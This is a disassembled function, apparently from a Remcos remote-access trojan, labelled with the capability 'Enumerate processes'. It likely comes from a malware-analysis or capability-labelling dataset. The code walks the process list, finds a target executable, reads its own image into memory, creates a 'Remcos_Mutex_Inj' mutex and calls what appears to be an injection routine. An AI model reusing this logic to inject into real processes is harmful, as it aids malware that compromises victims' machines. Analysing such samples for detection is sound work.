Function at 0x407e0b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
push ebx
push esi
push edi
lea eax, [ebp - 0x304]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
lea eax, [ebp + 8]
push 0x410560
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
test al, al
pop ecx
jne 0x407fae
lea eax, [ebp - 1]
lea ecx, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
lea eax, [ebp - 0x200]
push eax
mov dword [ebp - 0x200], 0x128
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x200]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
mov edi, 0x410668
test eax, eax
je 0x407f8f
lea eax, [ebp - 1]
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1dc]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push dword [sym.imp.MSVCRT.dll_tolower]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
push eax
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
push eax
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
push eax
call fcn.00408667
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0x18
test al, al
jne 0x407f06
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x200]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
jmp 0x407e92
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x40]
push eax
call fcn.0040f114
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18]
call dword [0x410264]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x18]
push eax
call esi
pop ecx
test al, al
pop ecx
je 0x407f54
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x408140
lea eax, [ebp - 0x18]
push edi
push eax
call esi
pop ecx
test al, al
pop ecx
jne 0x408026
push dword [ebp - 0x1f8]
call fcn.0040f0df
test al, al
pop ecx
jne 0x408026
lea eax, [ebp - 0x18]
lea ecx, [ebp + 8]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push dword [ebp - 8]
call ebx
lea eax, [ebp - 0x18]
push edi
push eax
call esi
pop ecx
test al, al
pop ecx
je 0x408034
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x40]
push eax
call fcn.0040e5ce
pop ecx
push eax
lea ecx, [ebp + 8]
call dword [0x410264]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
call fcn.0040f0b5
test al, al
je 0x40800a
mov edi, str.Program_Files_
push 0
push edi
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
mov edx, eax
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp edx, dword [eax]
je 0x40800a
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.Program_Files__x86__
push ecx
push edx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::replace_unsigned_int__unsigned_int__char_const__]
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
pop ecx
test al, al
pop ecx
je 0x40803d
jmp 0x408140
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x407fa5
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
lea eax, [ebp - 0x304]
push 0x25
push eax
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x408134
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0xd8]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 6
mov esi, eax
pop ecx
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x48]
call fcn.00405288
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
xor esi, esi
push esi
push esi
lea ecx, [ebp - 0xd8]
mov edi, eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_int__enum_std::ios_base::seekdir_]
lea ecx, [ebp - 0x48]
call fcn.00405288
push eax
push edi
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___int_]
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
push str.Remcos_Mutex_Inj
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push edi
lea ecx, [ebp + 8]
mov esi, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call fcn.0040d477
pop ecx
test al, al
pop ecx
je 0x40810f
push 1
push 0x411030
mov ecx, 0x4157e8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.00409046
add esp, 0x10
mov bl, 1
jmp 0x408114
push esi
call ebx
xor bl, bl
push edi
call fcn.0040fc2c
pop ecx
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
jmp 0x40814b
lea ecx, [ebp - 0xd8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
pop edi
pop esi
pop ebx
leave
ret